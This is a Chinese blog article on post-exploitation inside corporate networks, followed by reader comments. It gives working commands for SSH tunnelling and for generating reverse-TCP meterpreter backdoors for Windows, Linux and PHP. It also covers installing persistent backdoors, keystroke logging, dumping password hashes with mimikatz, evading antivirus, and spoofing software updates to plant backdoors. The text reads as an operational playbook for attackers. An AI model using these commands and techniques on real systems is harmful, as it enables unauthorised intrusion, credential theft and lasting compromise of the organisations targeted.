菜单

内网渗透随想

2018年4月12日 - 乌云知识库

0x00 前言


之前看到微博有人私信我说内网渗透的技巧,zone也有很多小伙伴问了一些内网渗透的问题,所以我就斗胆写了这篇文章,有不对的,还请各位斧正

整个内网渗透肯定不是一篇两篇文章能够讲述清楚的,所以标题写作随想,想到哪儿写哪儿

0x01 内网代理和转发


image

*简单区分一下正向代理和反向代理

1.1 正向代理(Forward Proxy)


Lhost--》proxy--》Rhost

Lhost为了访问到Rhost,向proxy发送了一个请求并且指定目标是Rhost,然后proxy向Rhost转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost。

1.2 反向代理(reverse proxy)


Lhost<--->proxy<--->firewall<--->Rhost

和正向代理相反(废话),Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透

1.3 简单区分


正向代理是我们自己(Lhost)戴套(proxy)插进去,反向代理是她(Rhost)主动通过上位(proxy)坐上来(Lhost)

zone里内网渗透代理问题有人问了如何代理进行内网渗透的问题
诚然,要进行内网渗透,代理是我们最先需要解决的问题,常见的代理方式大概可以分为这么几种:

2. VPN隧道/SSH隧道


这种代理方式需要比较高的权限(system/root)直接使用系统功能来开启内网代理的隧道,配置VPN都比较简单,这里不做赘述,我们看一看通过SSH隧道进行代理

#!bash
ssh -qTfnN -L port:host:hostport -l user remote_ip   #正向隧道,监听本地port
ssh -qTfnN -R port:host:hostport -l user remote_ip   #反向隧道,用于内网穿透防火墙限制之类
SSH -qTfnN -D port remotehost   #直接进行socks代理

参数详解:
-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令,端口转发就用它了~

有时候,我们手边没有端口转发的工具,也可以通过ssh来做端口转发

#!bash
ssh -CfNg -L port1:127.0.0.1:port2 <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="f88d8b9d8ab890978b8c">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>    #本地转发
ssh -CfNg -R port2:127.0.0.1:port1 <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="d7a2a4b2a597bfb8a4a3">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>    #远程转发

大家可以参考这篇paper,非常棒SSH Port Forwarding

3. 通过HTTP service的代理


简单来说就是在目标服务器上传一个webshell,通过shell来做所有的流量转发到内网,常见的几个工具有reGeorg,meterpreter,tunna等等,甚至直接写一个简单的代理脚本,在自己机器上配置一下nginx直接进行反向代理

注意安装urllib3即可(regeorg很方便,我基本都用这个)

msf非常强大,在进行内网渗透的时候不失为一个好的选择,要用它进行代理,可以直接生成一个可执行文件后门,然后返回meterpreter,也可以生成一个webshell来返回meterpreter,关于meterpreter,Dm老师已经说的非常清楚了metasploit 渗透测试笔记(meterpreter篇)

3.1 windows生成后门


#!bash
msfpayload windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe

3.2 Linux生成后门


#!bash
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -t elf -o shell

3.3 php后门


#!bash
msfpayload php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -e php/base64(可简单编码) -t raw -o base64php.php

获得meterpreter会话后,就是msf尽情施展的时候了,最常用的办法,添加路由表后,直接在会话中用msf的各种攻击模块进行扫描(注意,这里是可以进行跨网段扫描的)

如果单纯只是想要进行简单的代理工作,auxiliary/server/socks4a模块即可

这里讲到meterpreter所以多说一句,之前说的ssh隧道,如果嫌命令难得记,也可以简单的通过msf来建立tunnel

#!bash
load meta_ssh
use multi/ssh/login_password
设置好参数后exploit即可获取会话进行代理操作

http://zone.wooyun.org/content/11096

4. other tricks


python,ruby,perl等直接建立socks连接

lcx,tunna,htran等等进行端口流量转发

shadowsocks,tor,goagent等等

直接现成的小东西:ssocks(一次比赛的时候死猫跟我推荐的)正向代理,反弹socks5均可

0x02 内网环境探测和信息收集


因为一个完整的渗透很难涵盖各种情况,所以这里讲的可能比较散,基本都是一些小技巧和思路

0x03 内网渗透的常见攻击技巧


主要对ssh,dbserver,vnc,ftp进行爆破

image

常用ettercap,不建议做arp的mitm,可以尝试dhcp mitm或者icmp mitm

也可以猥琐一点,劫持插件,攻击网关,或者利用evilgrade去伪造软件更新(如notepad++),然后捆绑上后门,直接打下工作机器,进入办公网

image

image

简单配置后用msf生成后门,start即可配合ettercap使用伪造软件更新了

image

但是在针对这些比较古老的漏洞攻击时,很可能有AV拦截,所以在不同场景遇到的坑都不一样

比如之前在西电DM牛告诉我,有AV,如果直接利用psexec返回会话,即会拦截,这时就可以利用powershell来bypass AVPowershell tricks::Bypass AV

0x04 后渗透准备和扩大战果


一次完美的内网渗透肯定不是能够一次性完成的,因为整个过程需要管理员的”配合”(口胡。。。)所以后渗透准备时很有必要的

1. 后门准备


msf的后门已经不错,只需要稍加改造就能很好满足我们的需求

普通msfpayload生成的后门不是持续性的,不利于我们下次继续工作,所以需要一个持续性后门

msf的持续性后门有两种,通过服务启动(metsvc)和通过启动项启动(persistence)

通过服务的后门有个弊端,服务名称是meterpreter,利用方式是: 上传后门,通过metsvc安装服务

#!bash
meterpreter > run metsvc
...(设定端口,并且上传后门文件)
use exploit/multi/handler
set PAYLOAD windows/metsvc_bind_tcp
exploit

通过启动项的利用方式:

#!bash
meterpreter > run persistence -X -i 10 -p port -r hostip

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
exploit

当然,直接生成的后门有可能会被杀,所以这里我推荐一个很不错的工具,veil,之前再一次小型apt中用这个生成了的后门直接bypass了360

linux下有两个常用的后门

mafix rookit和Cymothoa,后者听说可以克隆root用户,不过大部分的backdoor基本都相当于一个加密nc,会新开端口,所以如果webshell存活,可以直接考虑用webshell维持权限

2. 键盘记录


keylogger在内网渗透过程中(尤其是比较大的内网),起到很关键的作用,因为搞定一个密码,有可能就搞定了一个网段

ixkeylog是我常用的一个,linux>=2.63均可使用

或者使用meterpreter会话的自带键盘记录功能

keyscan_start
keyscan_dump

image

image

用meterpreter有个好处,就是在win中可以做内存注入,不会创建进程

这里说一个小tips,如果觉得keylogger动作大,可以进系统后把一些你需要的管理工具,如navicat,putty,PLSQL,SecureCRT之类全部选成记住密码

3. hash


mimikatz,不用多说,利用meterpreter可以直接load模块

Quarks PwDump

wce

0x05 something else


内网渗透涉及的面很广,本文主要说到的是一些很简单的问题和常规的思路

尚未谈到的 域渗透 打印机 办公网嗅探 入侵日志清理等等

如果有机会,日后慢慢补全

Comment

评论:学习了,谢谢分享

评论:膜拜大牛。。。

评论:l -> local
R -> remote
tips: 小提示
keylogger: 键盘记录er
我是雷锋

评论:现在的内网,日了还不如不日,日下来一台拿不到其他的,各种蛋疼,不如不日的好,眼不见为净!

评论:确实赞! 希望可以多分享些这样的小技巧

评论:sshd 后门也不错

评论:装个逼,11年测试那会儿没有!不知道现在有没有!

评论:总结的不错,利用evilgrade去伪造软件更新,这个一般都会验证证书的吧

评论:赞。来一发分享吧。

评论:以上各位牛说的都好有道理,我都无言以对

评论:这几个单词确实比较简单。。

评论:M牛说的也有道理,我也无言以对

评论:个人习惯而已,你不习惯别乱喷

评论:A牛说的好像很有道理,我竟无言以对

评论:就不能全用中文吗?????用了中文文章就俗了???
看不懂什么LHOST RHOST tips keylogger的

评论:大神教我搞个人机

评论:在云的时代,内网只要日下一台重要的就掌握了所有,openssl漏洞可以获取esxi5.5.0版本的密码,某些nfs存储可以直接远程挂载,某些SVN服务器做了APACHE认证却忽略了3690端口的认证,拿到交换机密码镜像端口抓包自动分析报文,结合猜密码以及其他小窍门在内网可以大杀四方,想把内网渗透玩好还是在于积累足够多的各方面知识。

评论:iptables或nginx 也可以用做端口转发

评论:工具党duang duang duang…

评论:赞!

评论:截图上一些工具名称能否说下?还有msf的模块。谢谢

评论:学习了

评论:日后再说。

评论:LN牛需要学会心法,直接猜到管理员密码

评论:搞内网变数太大,太耗心力

评论:我也来占个前排

评论:这个真是全面,内网渗透思路猥琐

评论:感谢分享.

评论:的确是一门博大精深的学问

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据